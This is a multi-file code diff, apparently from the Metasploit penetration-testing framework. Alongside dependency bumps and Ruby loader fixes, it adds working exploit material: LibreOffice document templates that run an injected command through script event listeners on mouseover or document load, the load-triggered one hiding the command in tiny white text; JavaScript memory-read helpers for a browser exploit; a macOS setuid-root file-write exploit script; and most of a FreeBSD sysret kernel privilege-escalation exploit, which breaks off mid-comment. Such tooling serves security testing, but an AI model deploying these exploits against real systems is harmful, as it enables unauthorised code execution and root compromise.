 postgres_ext, 3.0.1, MIT
 pry, 0.12.2, MIT
-public_suffix, 3.0.3, MIT
+public_suffix, 3.1.1, MIT
 rack, 1.6.11, MIT
 rack-test, 0.6.3, MIT
 rails-deprecated_sanitizer, 1.0.3, MIT
 rails-dom-testing, 1.0.9, MIT
-rails-html-sanitizer, 1.0.4, MIT
-railties, 4.2.11, MIT
-rake, 12.3.2, MIT
+rails-html-sanitizer, 1.2.0, MIT
+railties, 4.2.11.1, MIT
+rake, 12.3.3, MIT
 rb-readline, 0.5.5, BSD
-recog, 2.1.42, unknown
-redcarpet, 3.4.0, MIT
+recog, 2.3.2, unknown
+redcarpet, 3.5.0, MIT
 rex-arch, 0.1.13, "New BSD"
 rex-bin_tools, 0.1.6, "New BSD"
 rex-core, 0.1.13, "New BSD"
 rex-encoder, 0.1.4, "New BSD"
-rex-exploitation, 0.1.20, "New BSD"
+rex-exploitation, 0.1.21, "New BSD"
 rex-java, 0.1.5, "New BSD"
 rex-mime, 0.1.5, "New BSD"
 rex-nop, 0.1.1, "New BSD"
 rex-ole, 0.1.6, "New BSD"
-rex-powershell, 0.1.79, "New BSD"
+rex-powershell, 0.1.82, "New BSD"
 rex-random_identifier, 0.1.4, "New BSD"
 rex-registry, 0.1.3, "New BSD"
 rex-rop_builder, 0.1.3, "New BSD"
-rex-socket, 0.1.15, "New BSD"
+rex-socket, 0.1.17, "New BSD"
 rex-sslscan, 0.1.5, "New BSD"
 rex-struct2, 0.1.2, "New BSD"
-rex-text, 0.2.21, "New BSD"
+rex-text, 0.2.23, "New BSD"
 rex-zip, 0.1.3, "New BSD"
 rkelly-remix, 0.0.7, MIT
 rspec, 3.8.0, MIT
-rspec-core, 3.8.0, MIT
-rspec-expectations, 3.8.2, MIT
-rspec-mocks, 3.8.0, MIT
-rspec-rails, 3.8.1, MIT
+rspec-core, 3.8.2, MIT
+rspec-expectations, 3.8.4, MIT
+rspec-mocks, 3.8.1, MIT
+rspec-rails, 3.8.2, MIT
 rspec-rerun, 1.1.0, MIT
-rspec-support, 3.8.0, MIT
-ruby-macho, 2.1.0, MIT
+rspec-support, 3.8.2, MIT
+ruby-macho, 2.2.0, MIT
 ruby-rc4, 0.1.5, MIT
-ruby_smb, 1.0.5, "New BSD"
+ruby_smb, 1.1.0, "New BSD"
 rubyntlm, 0.6.2, MIT
-rubyzip, 1.2.2, "Simplified BSD"
-sawyer, 0.8.1, MIT
-simplecov, 0.16.1, MIT
+rubyzip, 1.2.3, "Simplified BSD"
+sawyer, 0.8.2, MIT
+simplecov, 0.17.0, MIT
 simplecov-html, 0.10.2, MIT
 sqlite3, 1.3.13, "New BSD"
-sshkey, 1.9.0, MIT
+sshkey, 2.0.0, MIT
 thor, 0.20.3, MIT
 thread_safe, 0.3.6, "Apache 2.0"
 timecop, 0.9.1, MIT
 ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
 tzinfo, 1.2.5, MIT
-tzinfo-data, 1.2018.9, MIT
+tzinfo-data, 1.2019.2, MIT
 windows_error, 0.1.2, BSD
 xdr, 2.0.0, "Apache 2.0"
 xmlrpc, 0.3.0, ruby
-yard, 0.9.16, MIT
+yard, 0.9.20, MIT
@@ -31,7 +31,6 @@ Vagrant.configure(2) do |config|
  [ "gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3",
    "curl -L https://get.rvm.io | bash -s stable",
    "source ~/.rvm/scripts/rvm && cd /vagrant && rvm install `cat .ruby-version`",
-    "source ~/.rvm/scripts/rvm && cd /vagrant && gem install bundler",
    "source ~/.rvm/scripts/rvm && cd /vagrant && bundle",
    "mkdir -p ~/.msf4",
  ].each do |step|
@@ -22,11 +22,26 @@ unless ENV['BUNDLE_GEMFILE']
  end
 end

+# Remove bigdecimal warning - start
+# https://github.com/ruby/bigdecimal/pull/115
+# https://github.com/rapid7/metasploit-framework/pull/11184#issuecomment-461971266
+# TODO: remove when upgrading from rails 4.x
+require 'bigdecimal'
+
+def BigDecimal.new(*args, **kwargs)
+  return BigDecimal(*args) if kwargs.empty?
+  BigDecimal(*args, **kwargs)
+end
+# Remove bigdecimal warning - end
+
 begin
  require 'bundler/setup'
-rescue LoadError
-  $stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
-  $stderr.puts "    $ gem install bundler"
+rescue LoadError => e
+  $stderr.puts "[*] Bundler failed to load and returned this error:"
+  $stderr.puts
+  $stderr.puts "   '#{e}'"
+  $stderr.puts
+  $stderr.puts "[*] You may need to uninstall or upgrade bundler"
  exit(1)
 end

@@ -27,7 +27,7 @@ def use_old_api():
 args = sys.argv

 if len(args) != 3:
-    print "usage: exploit.py source_binary dest_binary_as_root"
+    print("usage: exploit.py source_binary dest_binary_as_root")
    sys.exit(-1)

 source_binary = args[1]
@@ -42,7 +42,7 @@ attr = NSMutableDictionary.alloc().init()
 attr.setValue_forKey_(04777, NSFilePosixPermissions)
 data = NSData.alloc().initWithContentsOfFile_(source_binary)

-print "will write file", dest_binary
+print("will write file", dest_binary)

 if use_old_api():
    adm_lib = load_lib("/Admin.framework/Admin")
@@ -68,6 +68,6 @@ else:
    tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)


-print "Done!"
+print("Done!")

 del pool
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
+ <office:meta><meta:creation-date>2019-01-30T10:53:06.762000000</meta:creation-date><dc:date>2019-01-30T10:53:49.512000000</dc:date><meta:editing-duration>PT44S</meta:editing-duration><meta:editing-cycles>1</meta:editing-cycles><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="1" meta:word-count="1" meta:character-count="4" meta:non-whitespace-character-count="4"/><meta:generator>LibreOffice/6.1.2.1$Windows_X86_64 LibreOffice_project/65905a128db06ba48db947242809d14d3f9a93fe</meta:generator></office:meta>
+ <office:scripts>
+  <office:script script:language="ooo:Basic">
+   <ooo:libraries xmlns:ooo="http://openoffice.org/2004/office" xmlns:xlink="http://www.w3.org/1999/xlink">
+    <ooo:library-embedded ooo:name="Standard"/>
+   </ooo:libraries>
+  </office:script>
+ </office:scripts>
+ <office:styles>
+  <style:default-style style:family="graphic">
+   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
+   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
+    <style:tab-stops/>
+   </style:paragraph-properties>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
+  </style:default-style>
+  <style:default-style style:family="paragraph">
+   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
+  </style:default-style>
+  <style:default-style style:family="table">
+   <style:table-properties table:border-model="collapsing"/>
+  </style:default-style>
+  <style:default-style style:family="table-row">
+   <style:table-row-properties fo:keep-together="auto"/>
+  </style:default-style>
+  <style:style style:name="Standard" style:family="paragraph" style:class="text"/>
+  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
+   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="115%"/>
+  </style:style>
+  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
+   <style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
+  </style:style>
+ </office:styles>
+ <office:master-styles>
+  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
+ </office:master-styles>
+ <office:body>
+  <office:text>
+   <text:p text:style-name="Standard"><text:a xlink:type="simple" xlink:href="http://<%=text_content%>/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:<%= path %>$tempfilepager(1, <%= @cmd %>)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners><text:span text:style-name="T1"><%= text_content %></text:span></text:a></text:p>
+  </office:text>
+ </office:body>
+</office:document>
@@ -79,6 +79,18 @@ function Int64(v) {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

+    this.lo = function()
+    {
+        var b = this.bytes();
+        return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
+    };
+
+    this.hi = function()
+    {
+        var b = this.bytes();
+        return (b[4] | (b[5] << 8) | (b[6] << 16) | (b[7] << 24)) >>> 0;
+    };
+
    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

@@ -46,6 +46,139 @@ function hexdump(data) {
    return lines.join('\n');
 }

+function strcmp(b, str)
+{
+    var fn = typeof b == "function" ? b : function(i) { return b[i]; };
+    for(var i = 0; i < str.length; ++i)
+    {
+        if(fn(i) != str.charCodeAt(i))
+        {
+            return false;
+        }
+    }
+    return fn(str.length) == 0;
+}
+
+function b2u32(b)
+{
+    return (b[0] | (b[1] << 8) | (b[2] << 16) | (b[3] << 24)) >>> 0;
+}
+
+
+
+function off2addr(segs, off)
+{
+    if(!(off instanceof Int64)) off = new Int64(off);
+    for(var i = 0; i < segs.length; ++i)
+    {
+        var start = segs[i].fileoff;
+        var end   = Add(start, segs[i].size);
+        if
+        (
+            (start.hi() < off.hi() || (start.hi() == off.hi() && start.lo() <= off.lo())) &&
+            (end.hi() > off.hi() || (end.hi() == off.hi() && end.lo() > off.lo()))
+        )
+        {
+            return Add(segs[i].addr, Sub(off, start));
+        }
+    }
+    return new Int64("0x4141414141414141");
+}
+
+function fsyms(mem, base, segs, want, syms)
+{
+    want = Array.from(want); // copy
+    if(syms === undefined)
+    {
+        syms = {};
+    }
+
+    var stab = null;
+    var ncmds = mem.u32(Add(base, 0x10));
+    for(var i = 0, off = 0x20; i < ncmds; ++i)
+    {
+        var cmd = mem.u32(Add(base, off));
+        if(cmd == 0x2) // LC_SYMTAB
+        {
+            var b = mem.read(Add(base, off + 0x8), 0x10);
+            stab =
+            {
+                symoff:  b2u32(b.slice(0x0, 0x4)),
+                nsyms:   b2u32(b.slice(0x4, 0x8)),
+                stroff:  b2u32(b.slice(0x8, 0xc)),
+                strsize: b2u32(b.slice(0xc, 0x10)),
+            };
+            break;
+        }
+        off += mem.u32(Add(base, off + 0x4));
+    }
+    if(stab == null)
+    {
+        fail("stab");
+    }
+    var tmp = { base: off2addr(segs, stab.stroff), off: 0 };
+    var fn = function(i)
+    {
+        return mem.read(Add(tmp.base, tmp.off + i), 1)[0];
+    };
+    for(var i = 0; i < stab.nsyms && want.length > 0; ++i)
+    {
+        tmp.off = mem.u32(off2addr(segs, stab.symoff + i * 0x10));
+        for(var j = 0; j < want.length; ++j)
+        {
+            var s = want[j];
+            if((strcmp(fn, s)))
+            {
+                syms[s] = mem.readInt64(off2addr(segs, stab.symoff + i * 0x10 + 0x8));
+                want.splice(j, 1);
+                break;
+            }
+        }
+    }
+    return syms;
+}
+
+function strcmp(b, str)
+{
+    var fn = typeof b == "function" ? b : function(i) { return b[i]; };
+    for(var i = 0; i < str.length; ++i)
+    {
+        if(fn(i) != str.charCodeAt(i))
+        {
+            return false;
+        }
+    }
+    return fn(str.length) == 0;
+}
+
+function _u32(i)
+{
+    return b2u32(this.read(i, 4));
+}
+
+function _read(i, l)
+{
+    if (i instanceof Int64) i = i.lo();
+    if (l instanceof Int64) l = l.lo();
+    if (i + l > this.length)
+    {
+        fail(`OOB read: ${i} -> ${i + l}, size: ${l}`);
+    }
+    return this.slice(i, i + l);
+}
+
+function _readInt64(addr)
+{
+    return new Int64(this.read(addr, 8));
+}
+
+function _writeInt64(i, val)
+{
+    if (i instanceof Int64) i = i.lo();
+    this.set(val.bytes(), i);
+}
+
+
 // Simplified version of the similarly named python module.
 var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
@@ -0,0 +1,15 @@
+#EXTM3U
+#EXT-X-VERSION:3
+#EXT-X-TARGETDURATION:4
+#EXT-X-MEDIA-SEQUENCE:0
+#EXTINF:3.433333,
+epicsax0.ts
+#EXTINF:1.700000,
+epicsax1.ts
+#EXTINF:1.700000,
+epicsax2.ts
+#EXTINF:1.700000,
+epicsax3.ts
+#EXTINF:1.466667,
+epicsax4.ts
+#EXT-X-ENDLIST
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+
+<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
+ <office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
+ <office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
+ <office:styles>
+  <style:default-style style:family="graphic">
+   <style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
+   <style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
+    <style:tab-stops/>
+   </style:paragraph-properties>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
+  </style:default-style>
+  <style:default-style style:family="paragraph">
+   <style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
+   <style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
+  </style:default-style>
+  <style:default-style style:family="table">
+   <style:table-properties table:border-model="collapsing"/>
+  </style:default-style>
+  <style:default-style style:family="table-row">
+   <style:table-row-properties fo:keep-together="auto"/>
+  </style:default-style>
+  <style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
+  <style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
+   <style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
+  </style:style>
+  <style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
+   <style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
+  </style:style>
+  <style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
+ </office:styles>
+ <office:master-styles>
+  <style:master-page style:name="Standard" style:page-layout-name="pm1"/>
+ </office:master-styles>
+ <office:body>
+  <office:text>
+  <text:p text:style-name="P8"><%= @cmd %></text:p>
+  <text:p text:style-name="Standard">#<%= text_content %></text:p>
+  </office:text>
+ </office:body>
+</office:document>
@@ -0,0 +1,345 @@
+// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
+// Copyright 2012 all right reserved, not for commercial uses, bitches
+// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/utsname.h>
+#include <machine/cpufunc.h>
+#define _WANT_UCRED
+#include <sys/proc.h>
+#include <machine/segments.h>
+#include <sys/param.h>
+#include <sys/linker.h>
+
+uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
+
+struct gate_descriptor * sidt()
+{
+	struct region_descriptor idt;
+
+	asm ("sidt %0": "=m"(idt));
+
+	return (struct gate_descriptor*)idt.rd_base;
+} 
+
+u_long get_symaddr(char *symname)
+{
+	struct kld_sym_lookup ksym;
+
+	ksym.version = sizeof (ksym);
+	ksym.symname = symname;
+
+	if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
+		perror("kldsym");
+		exit(1);
+	}
+	printf("    [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
+	return ksym.symvalue;
+}
+
+// Code taken from amd64/amd64/machdep.c
+void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
+{
+	struct gate_descriptor *ip;
+
+	ip = idt + idx;
+	ip->gd_looffset = func;
+	ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
+	ip->gd_ist = ist;
+	ip->gd_xx = 0;
+	ip->gd_type = typ;
+	ip->gd_dpl = dpl;
+	ip->gd_p = 1;
+	ip->gd_hioffset = func>>16;
+}
+
+void shellcode()
+{
+	// Actually we dont really need to spawn a shell since we
+	// changed our whole cred struct.
+	// Just exit...
+	printf("[*] Got root!\n");
+	exit(0);
+}
+
+void kernelmodepayload()
+{
+	struct thread *td;
+	struct ucred *cred;
+
+	// We need to restore/recover whatever we smashed
+	// We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
+	// The #GP exception frame writes 6*64bit registers, i.e. it overwrites
+	// idt[18], idt[17] and idt[16]
+	// thus overall we have:
+	// - idt[18], idt[17] and idt[16] are trashed
+	// - tf_addr -> overwrites the 64bit-LSB of idt[15]
+	// - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
+	// - rdi -> overwrites the 64bit-LSB of idt[7]
+	// - #PF exception frame overwrites idt[6], idt[5] and idt[4]
+	struct gate_descriptor *idt = sidt();
+	setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
+	setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
+	setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
+	setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
+	setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
+	setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
+	setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
+	setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
+	setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18
+
+	// get the thread pointer
+	asm ("mov %%gs:0, %0" : "=r"(td));
+
+	// The Dark Knight Rises
+	cred = td->td_proc->p_ucred;
+	cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
+	cred->cr_groups[0] = 0;
+
+	// return to user mode to spawn the shell
+	asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
+}
+
+#define TRIGGERCODESIZE 20
+#define TRAMPOLINECODESIZE 18
+
+void trigger()
+{
+	printf("[*] Setup...\n");
+	// Allocate one page just before the non-canonical address
+	printf("    [+] Trigger code...\n");
+	uint64_t pagesize = getpagesize();
+	uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
+	area = mmap(area, pagesize,
+		PROT_READ | PROT_WRITE | PROT_EXEC,
+		MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
+	if (area == MAP_FAILED) {
+		perror("mmap (trigger)");
+		exit(1);
+	}
+
+	// Copy the trigger code at the end of the page
+	// such that the syscall instruction is at its
+	// boundary
+	char triggercode[] =
+		"\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
+		"\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
+		"\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
+		"\x0f\x05"; // syscall
+
+	uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
+	memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);
+
+	// There are two outcomes given a target rsp:
+	// - if rsp can't be written to, a double fault is triggered
+	//   (Xdblfault defined in sys/amd64/amd64/exception.S)
+	//   and the exception frame is pushed to a special stack
+	// - otherwise a #GP is triggered
+	//	 (Xprot defined in sys/amd64/amd64/exception.S)
+	//   and the exception frame is pushed to [rsp]
+	//
+	// In the latter case, trouble is... #GP triggers a page fault
+	// (Xpage):
+	//  IDTVEC(prot)
+	//  	subq	$TF_ERR,%rsp
+	//  [1]	movl	$T_PROTFLT,TF_TRAPNO(%rsp)
+	//  [2]	movq	$0,TF_ADDR(%rsp)
+	//  [3]	movq	%rdi,TF_RDI(%rsp)	/* free up a GP register */
+	//  	leaq	doreti_iret(%rip),%rdi
+	//  	cmpq	%rdi,TF_RIP(%rsp)
+	//  	je	1f			/* kernel but with user gsbase!! */
+	//  [4]	testb	$SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
+	//  	jz	2f			/* already running with kernel GS.base */
+	//  1:	swapgs
+	//  2:	movq	PCPU(CURPCB),%rdi [5]
+	//
+	// [4] sets the Z flag because we come from the kernel (while executing sysret)
+	// and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
+	// it was restored just before calling sysret...
+	// Thus, [5] triggers a pagefault while trying to access gs:data
+	// If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
+	//
+	// We therefore need a way: (1) to recover from the GP, (2) to clean
+	// any mess we did. Both could be solved if we can get get an arbitrary
+	// code execution by the time we reach [5] (NB: this is not mandatory, we could
+	// get the code execution later down the fault trigger chain)
+	//
+	// So... here is the idea: wouldn't it be nice if we could overwrite the
+	// page fault handler's address and therefore get code execution when [5]
+	// triggers the #PF?
+	//
+	// For reference:
+	// Gate descriptor:
+	// +0: Target Offset[15:0] | Target Selector
+	// +4: Some stuff | Target Offset[31:16]
+	// +8: Target Offset[63:32]
+	// +12: Stuff
+	//
+	// and from include/frame.h:
+	//  struct trapframe {
+	//  	register_t	tf_rdi;
+	//  	register_t	tf_rsi;
+	//  	register_t	tf_rdx;
+	//  	register_t	tf_rcx;
+	//  	register_t	tf_r8;
+	//  	register_t	tf_r9;
+	//  	register_t	tf_rax;
+	//  	register_t	tf_rbx;
+	//  	register_t	tf_rbp;
+	//  	register_t	tf_r10;
+	//  	register_t	tf_r11;
+	//  	register_t	tf_r12;
+	//  	register_t	tf_r13;
+	//  	register_t	tf_r14;
+	//  	register_t	tf_r15;
+	//  	uint32_t	tf_trapno;
+	//  	uint16_t	tf_fs;
+	//  	uint16_t	tf_gs;
+	//  	register_t	tf_addr;
+	//  	uint32_t	tf_flags;
+	//  	uint16_t	tf_es;
+	//  	uint16_t	tf_ds;
+	//  	/* below portion defined in hardware */
+	//  	register_t	tf_err;
+	//  	register_t	tf_rip;
+	//  	register_t	tf_cs;
+	//  	register_t	tf_rflags;
